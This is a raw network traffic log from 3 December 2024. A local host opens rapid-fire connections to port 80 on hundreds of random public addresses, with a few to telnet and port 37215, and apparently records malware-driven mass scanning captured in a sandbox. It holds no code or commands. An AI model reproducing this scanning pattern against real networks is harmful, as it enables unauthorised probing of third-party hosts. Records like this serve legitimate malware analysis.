Dec 3, 2024 21:47:20.171493053 CET	39419	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:20.171500921 CET	39419	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:20.171500921 CET	39419	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:20.171508074 CET	80	39419	128.218.148.72	192.168.2.13
Dec 3, 2024 21:47:20.171515942 CET	39419	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:20.171540976 CET	39419	80	192.168.2.13	39.103.0.196
Dec 3, 2024 21:47:20.171545982 CET	39419	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:20.171557903 CET	39419	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:20.171577930 CET	80	39419	116.147.27.49	192.168.2.13
Dec 3, 2024 21:47:20.171608925 CET	80	39419	132.216.212.60	192.168.2.13
Dec 3, 2024 21:47:20.171626091 CET	39419	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:20.171648979 CET	39419	80	192.168.2.13	132.216.212.60
Dec 3, 2024 21:47:20.171655893 CET	80	39419	206.17.226.29	192.168.2.13
Dec 3, 2024 21:47:20.171699047 CET	39419	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:20.171708107 CET	80	39419	87.2.29.201	192.168.2.13
Dec 3, 2024 21:47:20.171761990 CET	39419	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:20.171782017 CET	80	39419	187.198.156.166	192.168.2.13
Dec 3, 2024 21:47:20.171801090 CET	80	39419	151.199.164.101	192.168.2.13
Dec 3, 2024 21:47:20.171823978 CET	39419	80	192.168.2.13	187.198.156.166
Dec 3, 2024 21:47:20.171874046 CET	80	39419	165.66.103.50	192.168.2.13
Dec 3, 2024 21:47:20.171874046 CET	39419	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:20.171919107 CET	39419	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:20.172439098 CET	80	39419	49.175.230.209	192.168.2.13
Dec 3, 2024 21:47:20.172496080 CET	80	39419	167.129.209.249	192.168.2.13
Dec 3, 2024 21:47:20.172509909 CET	80	39419	84.115.17.222	192.168.2.13
Dec 3, 2024 21:47:20.172525883 CET	39419	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:20.172529936 CET	39419	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:20.172544956 CET	39419	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:20.172544956 CET	80	39419	200.178.165.62	192.168.2.13
Dec 3, 2024 21:47:20.172585011 CET	39419	80	192.168.2.13	200.178.165.62
Dec 3, 2024 21:47:20.172710896 CET	80	39419	62.158.162.7	192.168.2.13
Dec 3, 2024 21:47:20.172754049 CET	80	39419	179.117.25.20	192.168.2.13
Dec 3, 2024 21:47:20.172794104 CET	80	39419	196.219.121.6	192.168.2.13
Dec 3, 2024 21:47:20.172796011 CET	39419	80	192.168.2.13	179.117.25.20
Dec 3, 2024 21:47:20.172796011 CET	39419	80	192.168.2.13	62.158.162.7
Dec 3, 2024 21:47:20.172863007 CET	80	39419	170.41.22.77	192.168.2.13
Dec 3, 2024 21:47:20.172878027 CET	39419	80	192.168.2.13	196.219.121.6
Dec 3, 2024 21:47:20.172898054 CET	39419	80	192.168.2.13	170.41.22.77
Dec 3, 2024 21:47:20.172935963 CET	80	39419	196.78.141.7	192.168.2.13
Dec 3, 2024 21:47:20.172950029 CET	80	39419	88.81.241.62	192.168.2.13
Dec 3, 2024 21:47:20.172977924 CET	39419	80	192.168.2.13	196.78.141.7
Dec 3, 2024 21:47:20.172987938 CET	39419	80	192.168.2.13	88.81.241.62
Dec 3, 2024 21:47:20.173007965 CET	80	39419	159.11.151.174	192.168.2.13
Dec 3, 2024 21:47:20.173047066 CET	39419	80	192.168.2.13	159.11.151.174
Dec 3, 2024 21:47:20.173084974 CET	80	39419	12.237.96.134	192.168.2.13
Dec 3, 2024 21:47:20.173124075 CET	39419	80	192.168.2.13	12.237.96.134
Dec 3, 2024 21:47:20.173132896 CET	80	39419	160.221.57.203	192.168.2.13
Dec 3, 2024 21:47:20.173151016 CET	80	39419	23.174.237.99	192.168.2.13
Dec 3, 2024 21:47:20.173185110 CET	80	39419	153.226.117.52	192.168.2.13
Dec 3, 2024 21:47:20.173197985 CET	39419	80	192.168.2.13	23.174.237.99
Dec 3, 2024 21:47:20.173208952 CET	80	39419	95.90.150.78	192.168.2.13
Dec 3, 2024 21:47:20.173213959 CET	39419	80	192.168.2.13	160.221.57.203
Dec 3, 2024 21:47:20.173252106 CET	39419	80	192.168.2.13	153.226.117.52
Dec 3, 2024 21:47:20.173264980 CET	39419	80	192.168.2.13	95.90.150.78
Dec 3, 2024 21:47:20.173322916 CET	80	39419	38.77.138.239	192.168.2.13
Dec 3, 2024 21:47:20.173336029 CET	80	39419	19.56.239.20	192.168.2.13
Dec 3, 2024 21:47:20.173352003 CET	80	39419	59.159.83.178	192.168.2.13
Dec 3, 2024 21:47:20.173358917 CET	39419	80	192.168.2.13	38.77.138.239
Dec 3, 2024 21:47:20.173366070 CET	39419	80	192.168.2.13	19.56.239.20
Dec 3, 2024 21:47:20.173372030 CET	80	39419	138.235.115.9	192.168.2.13
Dec 3, 2024 21:47:20.173382044 CET	39419	80	192.168.2.13	59.159.83.178
Dec 3, 2024 21:47:20.173384905 CET	80	39419	104.7.94.67	192.168.2.13
Dec 3, 2024 21:47:20.173401117 CET	80	39419	122.251.247.179	192.168.2.13
Dec 3, 2024 21:47:20.173408985 CET	39419	80	192.168.2.13	138.235.115.9
Dec 3, 2024 21:47:20.173414946 CET	80	39419	103.205.158.231	192.168.2.13
Dec 3, 2024 21:47:20.173422098 CET	39419	80	192.168.2.13	104.7.94.67
Dec 3, 2024 21:47:20.173434019 CET	80	39419	156.90.10.206	192.168.2.13
Dec 3, 2024 21:47:20.173440933 CET	39419	80	192.168.2.13	103.205.158.231
Dec 3, 2024 21:47:20.173446894 CET	39419	80	192.168.2.13	122.251.247.179
Dec 3, 2024 21:47:20.173449039 CET	80	39419	44.50.132.189	192.168.2.13
Dec 3, 2024 21:47:20.173465014 CET	80	39419	69.120.229.5	192.168.2.13
Dec 3, 2024 21:47:20.173485994 CET	39419	80	192.168.2.13	156.90.10.206
Dec 3, 2024 21:47:20.173485994 CET	39419	80	192.168.2.13	44.50.132.189
Dec 3, 2024 21:47:20.173487902 CET	80	39419	103.90.32.150	192.168.2.13
Dec 3, 2024 21:47:20.173501968 CET	80	39419	104.62.170.28	192.168.2.13
Dec 3, 2024 21:47:20.173507929 CET	39419	80	192.168.2.13	69.120.229.5
Dec 3, 2024 21:47:20.173525095 CET	39419	80	192.168.2.13	103.90.32.150
Dec 3, 2024 21:47:20.173543930 CET	39419	80	192.168.2.13	104.62.170.28
Dec 3, 2024 21:47:20.174016953 CET	80	39419	164.75.9.148	192.168.2.13
Dec 3, 2024 21:47:20.174034119 CET	80	39419	25.138.115.52	192.168.2.13
Dec 3, 2024 21:47:20.174053907 CET	80	39419	218.206.104.216	192.168.2.13
Dec 3, 2024 21:47:20.174055099 CET	39419	80	192.168.2.13	164.75.9.148
Dec 3, 2024 21:47:20.174076080 CET	39419	80	192.168.2.13	25.138.115.52
Dec 3, 2024 21:47:20.174084902 CET	80	39419	222.59.174.148	192.168.2.13
Dec 3, 2024 21:47:20.174091101 CET	39419	80	192.168.2.13	218.206.104.216
Dec 3, 2024 21:47:20.174108028 CET	80	39419	27.246.121.87	192.168.2.13
Dec 3, 2024 21:47:20.174135923 CET	80	39419	106.130.195.250	192.168.2.13
Dec 3, 2024 21:47:20.174146891 CET	39419	80	192.168.2.13	27.246.121.87
Dec 3, 2024 21:47:20.174155951 CET	39419	80	192.168.2.13	222.59.174.148
Dec 3, 2024 21:47:20.174173117 CET	39419	80	192.168.2.13	106.130.195.250
Dec 3, 2024 21:47:20.174175024 CET	80	39419	218.66.19.119	192.168.2.13
Dec 3, 2024 21:47:20.174215078 CET	39419	80	192.168.2.13	218.66.19.119
Dec 3, 2024 21:47:20.174221039 CET	80	39419	109.236.91.99	192.168.2.13
Dec 3, 2024 21:47:20.174249887 CET	80	39419	179.185.179.154	192.168.2.13
Dec 3, 2024 21:47:20.174254894 CET	39419	80	192.168.2.13	109.236.91.99
Dec 3, 2024 21:47:20.174279928 CET	80	39419	57.3.184.193	192.168.2.13
Dec 3, 2024 21:47:20.174315929 CET	39419	80	192.168.2.13	57.3.184.193
Dec 3, 2024 21:47:20.174326897 CET	80	39419	171.3.155.144	192.168.2.13
Dec 3, 2024 21:47:20.174340010 CET	39419	80	192.168.2.13	179.185.179.154
Dec 3, 2024 21:47:20.174360991 CET	80	39419	158.83.114.212	192.168.2.13
Dec 3, 2024 21:47:20.174361944 CET	39419	80	192.168.2.13	171.3.155.144
Dec 3, 2024 21:47:20.174431086 CET	80	39419	203.54.58.77	192.168.2.13
Dec 3, 2024 21:47:20.174432993 CET	39419	80	192.168.2.13	158.83.114.212
Dec 3, 2024 21:47:20.174472094 CET	80	39419	34.80.169.205	192.168.2.13
Dec 3, 2024 21:47:20.174477100 CET	39419	80	192.168.2.13	203.54.58.77
Dec 3, 2024 21:47:20.174510002 CET	39419	80	192.168.2.13	34.80.169.205
Dec 3, 2024 21:47:20.174516916 CET	80	39419	151.181.255.214	192.168.2.13
Dec 3, 2024 21:47:20.174547911 CET	80	39419	192.43.101.232	192.168.2.13
Dec 3, 2024 21:47:20.174560070 CET	39419	80	192.168.2.13	151.181.255.214
Dec 3, 2024 21:47:20.174568892 CET	80	39419	190.171.181.209	192.168.2.13
Dec 3, 2024 21:47:20.174581051 CET	39419	80	192.168.2.13	192.43.101.232
Dec 3, 2024 21:47:20.174613953 CET	39419	80	192.168.2.13	190.171.181.209
Dec 3, 2024 21:47:20.174696922 CET	80	39419	49.136.121.133	192.168.2.13
Dec 3, 2024 21:47:20.174711943 CET	80	39419	173.99.172.238	192.168.2.13
Dec 3, 2024 21:47:20.174726963 CET	80	39419	2.241.114.145	192.168.2.13
Dec 3, 2024 21:47:20.174731016 CET	39419	80	192.168.2.13	49.136.121.133
Dec 3, 2024 21:47:20.174740076 CET	80	39419	18.239.135.55	192.168.2.13
Dec 3, 2024 21:47:20.174746990 CET	39419	80	192.168.2.13	173.99.172.238
Dec 3, 2024 21:47:20.174757957 CET	39419	80	192.168.2.13	2.241.114.145
Dec 3, 2024 21:47:20.174758911 CET	80	39419	47.124.83.25	192.168.2.13
Dec 3, 2024 21:47:20.174766064 CET	39419	80	192.168.2.13	18.239.135.55
Dec 3, 2024 21:47:20.174778938 CET	80	39419	113.18.111.251	192.168.2.13
Dec 3, 2024 21:47:20.174791098 CET	80	39419	216.217.165.253	192.168.2.13
Dec 3, 2024 21:47:20.174797058 CET	39419	80	192.168.2.13	47.124.83.25
Dec 3, 2024 21:47:20.174806118 CET	80	39419	83.11.76.171	192.168.2.13
Dec 3, 2024 21:47:20.174814939 CET	39419	80	192.168.2.13	216.217.165.253
Dec 3, 2024 21:47:20.174823046 CET	80	39419	174.0.32.205	192.168.2.13
Dec 3, 2024 21:47:20.174834967 CET	80	39419	182.1.122.176	192.168.2.13
Dec 3, 2024 21:47:20.174839973 CET	39419	80	192.168.2.13	83.11.76.171
Dec 3, 2024 21:47:20.174850941 CET	80	39419	181.220.210.118	192.168.2.13
Dec 3, 2024 21:47:20.174868107 CET	39419	80	192.168.2.13	113.18.111.251
Dec 3, 2024 21:47:20.174869061 CET	39419	80	192.168.2.13	174.0.32.205
Dec 3, 2024 21:47:20.174870968 CET	39419	80	192.168.2.13	182.1.122.176
Dec 3, 2024 21:47:20.174875975 CET	39419	80	192.168.2.13	181.220.210.118
Dec 3, 2024 21:47:20.175589085 CET	80	39419	66.188.77.113	192.168.2.13
Dec 3, 2024 21:47:20.175628901 CET	39419	80	192.168.2.13	66.188.77.113
Dec 3, 2024 21:47:20.175630093 CET	80	39419	49.126.64.179	192.168.2.13
Dec 3, 2024 21:47:20.175653934 CET	80	39419	60.43.110.158	192.168.2.13
Dec 3, 2024 21:47:20.175673962 CET	39419	80	192.168.2.13	49.126.64.179
Dec 3, 2024 21:47:20.175688028 CET	39419	80	192.168.2.13	60.43.110.158
Dec 3, 2024 21:47:20.175692081 CET	80	39419	102.147.224.252	192.168.2.13
Dec 3, 2024 21:47:20.175720930 CET	80	39419	136.104.44.43	192.168.2.13
Dec 3, 2024 21:47:20.175729036 CET	39419	80	192.168.2.13	102.147.224.252
Dec 3, 2024 21:47:20.175755024 CET	39419	80	192.168.2.13	136.104.44.43
Dec 3, 2024 21:47:20.175772905 CET	80	39419	204.38.189.144	192.168.2.13
Dec 3, 2024 21:47:20.175786972 CET	80	39419	207.71.183.182	192.168.2.13
Dec 3, 2024 21:47:20.175817013 CET	39419	80	192.168.2.13	204.38.189.144
Dec 3, 2024 21:47:20.175817013 CET	39419	80	192.168.2.13	207.71.183.182
Dec 3, 2024 21:47:20.175843000 CET	80	39419	219.23.233.148	192.168.2.13
Dec 3, 2024 21:47:20.175858021 CET	80	39419	63.137.121.204	192.168.2.13
Dec 3, 2024 21:47:20.175878048 CET	39419	80	192.168.2.13	219.23.233.148
Dec 3, 2024 21:47:20.175884962 CET	80	39419	186.14.24.52	192.168.2.13
Dec 3, 2024 21:47:20.175894976 CET	39419	80	192.168.2.13	63.137.121.204
Dec 3, 2024 21:47:20.175898075 CET	80	39419	201.56.167.250	192.168.2.13
Dec 3, 2024 21:47:20.175924063 CET	80	39419	203.111.30.129	192.168.2.13
Dec 3, 2024 21:47:20.175935030 CET	39419	80	192.168.2.13	201.56.167.250
Dec 3, 2024 21:47:20.175942898 CET	80	39419	27.52.117.91	192.168.2.13
Dec 3, 2024 21:47:20.175949097 CET	39419	80	192.168.2.13	186.14.24.52
Dec 3, 2024 21:47:20.175962925 CET	80	39419	194.185.115.18	192.168.2.13
Dec 3, 2024 21:47:20.175985098 CET	39419	80	192.168.2.13	27.52.117.91
Dec 3, 2024 21:47:20.175992012 CET	39419	80	192.168.2.13	203.111.30.129
Dec 3, 2024 21:47:20.175993919 CET	80	39419	223.27.214.189	192.168.2.13
Dec 3, 2024 21:47:20.176001072 CET	39419	80	192.168.2.13	194.185.115.18
Dec 3, 2024 21:47:20.176031113 CET	39419	80	192.168.2.13	223.27.214.189
Dec 3, 2024 21:47:20.176034927 CET	80	39419	106.4.74.96	192.168.2.13
Dec 3, 2024 21:47:20.176048994 CET	80	39419	91.125.18.79	192.168.2.13
Dec 3, 2024 21:47:20.176062107 CET	80	39419	199.178.250.130	192.168.2.13
Dec 3, 2024 21:47:20.176083088 CET	39419	80	192.168.2.13	91.125.18.79
Dec 3, 2024 21:47:20.176098108 CET	39419	80	192.168.2.13	199.178.250.130
Dec 3, 2024 21:47:20.176132917 CET	80	39419	92.165.190.29	192.168.2.13
Dec 3, 2024 21:47:20.176153898 CET	39419	80	192.168.2.13	106.4.74.96
Dec 3, 2024 21:47:20.176167965 CET	39419	80	192.168.2.13	92.165.190.29
Dec 3, 2024 21:47:20.185772896 CET	23	40955	154.145.46.122	192.168.2.13
Dec 3, 2024 21:47:20.185807943 CET	23	40955	132.105.120.87	192.168.2.13
Dec 3, 2024 21:47:20.185821056 CET	40955	23	192.168.2.13	154.145.46.122
Dec 3, 2024 21:47:20.185863018 CET	40955	23	192.168.2.13	132.105.120.87
Dec 3, 2024 21:47:20.205665112 CET	37215	34043	156.157.158.180	192.168.2.13
Dec 3, 2024 21:47:20.205691099 CET	37215	34043	156.22.92.200	192.168.2.13
Dec 3, 2024 21:47:20.205734015 CET	34043	37215	192.168.2.13	156.157.158.180
Dec 3, 2024 21:47:20.205734968 CET	34043	37215	192.168.2.13	156.22.92.200
Dec 3, 2024 21:47:20.921041012 CET	37066	23	192.168.2.13	217.32.184.17
Dec 3, 2024 21:47:21.043054104 CET	23	37066	217.32.184.17	192.168.2.13
Dec 3, 2024 21:47:21.043303013 CET	37066	23	192.168.2.13	217.32.184.17
Dec 3, 2024 21:47:21.044420958 CET	37066	23	192.168.2.13	217.32.184.17
Dec 3, 2024 21:47:21.052639961 CET	39419	80	192.168.2.13	76.92.114.113
Dec 3, 2024 21:47:21.052639961 CET	39419	80	192.168.2.13	189.42.102.231
Dec 3, 2024 21:47:21.052650928 CET	39419	80	192.168.2.13	1.37.160.118
Dec 3, 2024 21:47:21.052669048 CET	39419	80	192.168.2.13	90.16.15.253
Dec 3, 2024 21:47:21.052669048 CET	39419	80	192.168.2.13	98.139.210.210
Dec 3, 2024 21:47:21.052670956 CET	39419	80	192.168.2.13	59.135.235.143
Dec 3, 2024 21:47:21.052696943 CET	39419	80	192.168.2.13	71.32.188.209
Dec 3, 2024 21:47:21.052696943 CET	39419	80	192.168.2.13	57.82.148.22
Dec 3, 2024 21:47:21.052700996 CET	39419	80	192.168.2.13	75.37.8.14
Dec 3, 2024 21:47:21.052706003 CET	39419	80	192.168.2.13	89.36.101.40
Dec 3, 2024 21:47:21.052711964 CET	39419	80	192.168.2.13	103.231.141.13
Dec 3, 2024 21:47:21.052717924 CET	39419	80	192.168.2.13	4.254.108.72
Dec 3, 2024 21:47:21.052738905 CET	39419	80	192.168.2.13	20.156.141.133
Dec 3, 2024 21:47:21.052738905 CET	39419	80	192.168.2.13	172.164.246.48
Dec 3, 2024 21:47:21.052746058 CET	39419	80	192.168.2.13	107.168.161.112
Dec 3, 2024 21:47:21.052746058 CET	39419	80	192.168.2.13	163.219.199.68
Dec 3, 2024 21:47:21.052763939 CET	39419	80	192.168.2.13	110.159.128.181
Dec 3, 2024 21:47:21.052767038 CET	39419	80	192.168.2.13	37.33.29.201
Dec 3, 2024 21:47:21.052787066 CET	39419	80	192.168.2.13	158.208.19.55
Dec 3, 2024 21:47:21.052787066 CET	39419	80	192.168.2.13	77.236.95.251
Dec 3, 2024 21:47:21.052803040 CET	39419	80	192.168.2.13	112.98.164.182
Dec 3, 2024 21:47:21.052803993 CET	39419	80	192.168.2.13	49.166.162.43
Dec 3, 2024 21:47:21.052807093 CET	39419	80	192.168.2.13	221.101.135.2
Dec 3, 2024 21:47:21.052808046 CET	39419	80	192.168.2.13	34.26.128.234
Dec 3, 2024 21:47:21.052817106 CET	39419	80	192.168.2.13	198.145.246.234
Dec 3, 2024 21:47:21.052830935 CET	39419	80	192.168.2.13	145.167.157.176
Dec 3, 2024 21:47:21.052839994 CET	39419	80	192.168.2.13	47.191.172.4
Dec 3, 2024 21:47:21.052841902 CET	39419	80	192.168.2.13	94.17.52.87
Dec 3, 2024 21:47:21.052856922 CET	39419	80	192.168.2.13	98.184.32.108
Dec 3, 2024 21:47:21.052856922 CET	39419	80	192.168.2.13	216.86.73.213
Dec 3, 2024 21:47:21.052871943 CET	39419	80	192.168.2.13	188.144.231.150
Dec 3, 2024 21:47:21.052874088 CET	39419	80	192.168.2.13	85.191.219.104
Dec 3, 2024 21:47:21.052875996 CET	39419	80	192.168.2.13	216.31.9.173
Dec 3, 2024 21:47:21.052891970 CET	39419	80	192.168.2.13	223.183.74.127
Dec 3, 2024 21:47:21.052900076 CET	39419	80	192.168.2.13	4.180.186.180
Dec 3, 2024 21:47:21.052907944 CET	39419	80	192.168.2.13	43.255.192.11
Dec 3, 2024 21:47:21.052910089 CET	39419	80	192.168.2.13	195.237.101.170
Dec 3, 2024 21:47:21.052923918 CET	39419	80	192.168.2.13	204.63.224.200
Dec 3, 2024 21:47:21.052925110 CET	39419	80	192.168.2.13	130.37.189.23
Dec 3, 2024 21:47:21.052943945 CET	39419	80	192.168.2.13	80.129.90.154
Dec 3, 2024 21:47:21.052946091 CET	39419	80	192.168.2.13	134.155.154.104
Dec 3, 2024 21:47:21.052957058 CET	39419	80	192.168.2.13	51.164.5.25
Dec 3, 2024 21:47:21.052963018 CET	39419	80	192.168.2.13	36.36.163.1
Dec 3, 2024 21:47:21.052978992 CET	39419	80	192.168.2.13	54.112.254.106
Dec 3, 2024 21:47:21.052983046 CET	39419	80	192.168.2.13	105.173.175.189
Dec 3, 2024 21:47:21.052983046 CET	39419	80	192.168.2.13	159.139.254.9
Dec 3, 2024 21:47:21.052994967 CET	39419	80	192.168.2.13	49.248.111.165
Dec 3, 2024 21:47:21.052994967 CET	39419	80	192.168.2.13	154.59.225.82
Dec 3, 2024 21:47:21.053000927 CET	39419	80	192.168.2.13	174.7.104.47
Dec 3, 2024 21:47:21.053009033 CET	39419	80	192.168.2.13	178.191.122.247
Dec 3, 2024 21:47:21.053030968 CET	39419	80	192.168.2.13	53.65.115.245
Dec 3, 2024 21:47:21.053033113 CET	39419	80	192.168.2.13	219.18.22.75
Dec 3, 2024 21:47:21.053045034 CET	39419	80	192.168.2.13	89.70.128.197
Dec 3, 2024 21:47:21.053051949 CET	39419	80	192.168.2.13	136.169.245.94
Dec 3, 2024 21:47:21.053061008 CET	39419	80	192.168.2.13	98.126.23.157
Dec 3, 2024 21:47:21.053066969 CET	39419	80	192.168.2.13	192.180.184.188
Dec 3, 2024 21:47:21.053085089 CET	39419	80	192.168.2.13	162.238.108.65
Dec 3, 2024 21:47:21.053086042 CET	39419	80	192.168.2.13	142.167.56.115
Dec 3, 2024 21:47:21.053090096 CET	39419	80	192.168.2.13	184.155.31.210
Dec 3, 2024 21:47:21.053090096 CET	39419	80	192.168.2.13	151.157.22.5
Dec 3, 2024 21:47:21.053101063 CET	39419	80	192.168.2.13	223.48.224.222
Dec 3, 2024 21:47:21.053117990 CET	39419	80	192.168.2.13	184.143.71.127
Dec 3, 2024 21:47:21.053117990 CET	39419	80	192.168.2.13	35.0.167.105
Dec 3, 2024 21:47:21.053147078 CET	39419	80	192.168.2.13	181.219.122.89
Dec 3, 2024 21:47:21.053148985 CET	39419	80	192.168.2.13	65.90.231.250
Dec 3, 2024 21:47:21.053150892 CET	39419	80	192.168.2.13	197.167.120.154
Dec 3, 2024 21:47:21.053149939 CET	39419	80	192.168.2.13	76.50.32.51
Dec 3, 2024 21:47:21.053150892 CET	39419	80	192.168.2.13	20.48.106.239
Dec 3, 2024 21:47:21.053154945 CET	39419	80	192.168.2.13	178.105.162.15
Dec 3, 2024 21:47:21.053158998 CET	39419	80	192.168.2.13	69.221.73.107
Dec 3, 2024 21:47:21.053162098 CET	39419	80	192.168.2.13	163.59.147.119
Dec 3, 2024 21:47:21.053164005 CET	39419	80	192.168.2.13	187.217.91.15
Dec 3, 2024 21:47:21.053164005 CET	39419	80	192.168.2.13	209.160.126.77
Dec 3, 2024 21:47:21.053170919 CET	39419	80	192.168.2.13	5.219.151.0
Dec 3, 2024 21:47:21.053179979 CET	39419	80	192.168.2.13	192.143.143.100
Dec 3, 2024 21:47:21.053188086 CET	39419	80	192.168.2.13	47.178.80.185
Dec 3, 2024 21:47:21.053200006 CET	39419	80	192.168.2.13	135.126.180.121
Dec 3, 2024 21:47:21.053208113 CET	39419	80	192.168.2.13	24.14.163.27
Dec 3, 2024 21:47:21.053219080 CET	39419	80	192.168.2.13	20.159.32.197
Dec 3, 2024 21:47:21.053226948 CET	39419	80	192.168.2.13	197.92.52.48
Dec 3, 2024 21:47:21.053229094 CET	39419	80	192.168.2.13	124.54.243.93
Dec 3, 2024 21:47:21.053246021 CET	39419	80	192.168.2.13	39.25.202.96
Dec 3, 2024 21:47:21.053246021 CET	39419	80	192.168.2.13	179.9.125.56
Dec 3, 2024 21:47:21.053261042 CET	39419	80	192.168.2.13	2.28.8.216
Dec 3, 2024 21:47:21.053273916 CET	39419	80	192.168.2.13	2.200.64.79
Dec 3, 2024 21:47:21.053273916 CET	39419	80	192.168.2.13	220.130.200.122
Dec 3, 2024 21:47:21.053284883 CET	39419	80	192.168.2.13	118.20.80.18
Dec 3, 2024 21:47:21.053289890 CET	39419	80	192.168.2.13	180.134.245.219
Dec 3, 2024 21:47:21.053297997 CET	39419	80	192.168.2.13	52.115.245.92
Dec 3, 2024 21:47:21.053304911 CET	39419	80	192.168.2.13	203.182.231.103
Dec 3, 2024 21:47:21.053308010 CET	39419	80	192.168.2.13	19.243.62.109
Dec 3, 2024 21:47:21.053308010 CET	39419	80	192.168.2.13	107.254.35.29
Dec 3, 2024 21:47:21.053325891 CET	39419	80	192.168.2.13	12.208.187.26
Dec 3, 2024 21:47:21.053330898 CET	39419	80	192.168.2.13	65.3.65.188
Dec 3, 2024 21:47:21.053330898 CET	39419	80	192.168.2.13	25.134.254.35
Dec 3, 2024 21:47:21.053347111 CET	39419	80	192.168.2.13	114.212.201.97
Dec 3, 2024 21:47:21.053350925 CET	39419	80	192.168.2.13	142.228.105.125
Dec 3, 2024 21:47:21.053359985 CET	39419	80	192.168.2.13	195.28.249.183
Dec 3, 2024 21:47:21.053364992 CET	39419	80	192.168.2.13	66.217.99.251
Dec 3, 2024 21:47:21.053369045 CET	39419	80	192.168.2.13	54.235.92.103
Dec 3, 2024 21:47:21.053383112 CET	39419	80	192.168.2.13	18.32.92.130
Dec 3, 2024 21:47:21.053384066 CET	39419	80	192.168.2.13	39.58.25.253
Dec 3, 2024 21:47:21.053384066 CET	39419	80	192.168.2.13	166.153.253.40
Dec 3, 2024 21:47:21.053394079 CET	39419	80	192.168.2.13	89.142.84.174
Dec 3, 2024 21:47:21.053404093 CET	39419	80	192.168.2.13	207.220.55.124
Dec 3, 2024 21:47:21.053416967 CET	39419	80	192.168.2.13	137.212.60.224
Dec 3, 2024 21:47:21.053420067 CET	39419	80	192.168.2.13	48.53.233.239
Dec 3, 2024 21:47:21.053422928 CET	39419	80	192.168.2.13	82.56.212.176
Dec 3, 2024 21:47:21.053440094 CET	39419	80	192.168.2.13	77.95.194.97
Dec 3, 2024 21:47:21.053442001 CET	39419	80	192.168.2.13	63.36.115.70
Dec 3, 2024 21:47:21.053452969 CET	39419	80	192.168.2.13	221.158.35.62
Dec 3, 2024 21:47:21.053461075 CET	39419	80	192.168.2.13	99.181.143.18
Dec 3, 2024 21:47:21.053477049 CET	39419	80	192.168.2.13	188.158.39.161
Dec 3, 2024 21:47:21.053481102 CET	39419	80	192.168.2.13	107.212.93.138
Dec 3, 2024 21:47:21.053486109 CET	39419	80	192.168.2.13	166.153.120.38
Dec 3, 2024 21:47:21.053493977 CET	39419	80	192.168.2.13	171.135.193.113
Dec 3, 2024 21:47:21.053507090 CET	39419	80	192.168.2.13	223.205.41.157
Dec 3, 2024 21:47:21.053517103 CET	39419	80	192.168.2.13	187.11.87.199
Dec 3, 2024 21:47:21.053519011 CET	39419	80	192.168.2.13	198.57.87.105
Dec 3, 2024 21:47:21.053523064 CET	39419	80	192.168.2.13	200.92.3.29
Dec 3, 2024 21:47:21.053529978 CET	39419	80	192.168.2.13	159.4.202.109
Dec 3, 2024 21:47:21.053546906 CET	39419	80	192.168.2.13	129.39.199.188
Dec 3, 2024 21:47:21.053550959 CET	39419	80	192.168.2.13	166.62.41.32
Dec 3, 2024 21:47:21.053570032 CET	39419	80	192.168.2.13	199.213.174.48
Dec 3, 2024 21:47:21.053572893 CET	39419	80	192.168.2.13	99.96.86.149
Dec 3, 2024 21:47:21.053590059 CET	39419	80	192.168.2.13	202.199.80.33
Dec 3, 2024 21:47:21.053597927 CET	39419	80	192.168.2.13	203.240.174.80
Dec 3, 2024 21:47:21.053602934 CET	39419	80	192.168.2.13	4.83.94.253
Dec 3, 2024 21:47:21.053605080 CET	39419	80	192.168.2.13	90.121.204.105
Dec 3, 2024 21:47:21.053605080 CET	39419	80	192.168.2.13	190.106.75.230
Dec 3, 2024 21:47:21.053605080 CET	39419	80	192.168.2.13	66.106.96.166
Dec 3, 2024 21:47:21.053605080 CET	39419	80	192.168.2.13	72.62.69.159
Dec 3, 2024 21:47:21.053605080 CET	39419	80	192.168.2.13	62.76.161.90
Dec 3, 2024 21:47:21.053611040 CET	39419	80	192.168.2.13	61.234.82.69
Dec 3, 2024 21:47:21.053627968 CET	39419	80	192.168.2.13	103.98.79.86
Dec 3, 2024 21:47:21.053628922 CET	39419	80	192.168.2.13	212.176.39.7
Dec 3, 2024 21:47:21.053630114 CET	39419	80	192.168.2.13	137.215.14.168
Dec 3, 2024 21:47:21.053652048 CET	39419	80	192.168.2.13	142.112.74.27
Dec 3, 2024 21:47:21.053652048 CET	39419	80	192.168.2.13	123.187.166.226
Dec 3, 2024 21:47:21.053667068 CET	39419	80	192.168.2.13	36.14.185.132
Dec 3, 2024 21:47:21.053673983 CET	39419	80	192.168.2.13	101.174.36.107
Dec 3, 2024 21:47:21.053673983 CET	39419	80	192.168.2.13	81.223.152.103
Dec 3, 2024 21:47:21.053690910 CET	39419	80	192.168.2.13	98.247.31.106
Dec 3, 2024 21:47:21.053692102 CET	39419	80	192.168.2.13	199.83.113.238
Dec 3, 2024 21:47:21.053703070 CET	39419	80	192.168.2.13	190.104.169.234
Dec 3, 2024 21:47:21.053716898 CET	39419	80	192.168.2.13	53.239.169.106
Dec 3, 2024 21:47:21.053720951 CET	39419	80	192.168.2.13	162.9.177.82
Dec 3, 2024 21:47:21.053733110 CET	39419	80	192.168.2.13	13.105.177.191
Dec 3, 2024 21:47:21.053733110 CET	39419	80	192.168.2.13	9.238.92.117
Dec 3, 2024 21:47:21.053746939 CET	39419	80	192.168.2.13	143.218.17.43
Dec 3, 2024 21:47:21.053750038 CET	39419	80	192.168.2.13	202.224.104.239
Dec 3, 2024 21:47:21.053754091 CET	39419	80	192.168.2.13	36.128.81.230
Dec 3, 2024 21:47:21.053771973 CET	39419	80	192.168.2.13	46.108.62.123
Dec 3, 2024 21:47:21.053772926 CET	39419	80	192.168.2.13	143.208.241.186
Dec 3, 2024 21:47:21.053795099 CET	39419	80	192.168.2.13	185.139.87.174
Dec 3, 2024 21:47:21.053796053 CET	39419	80	192.168.2.13	8.58.72.200
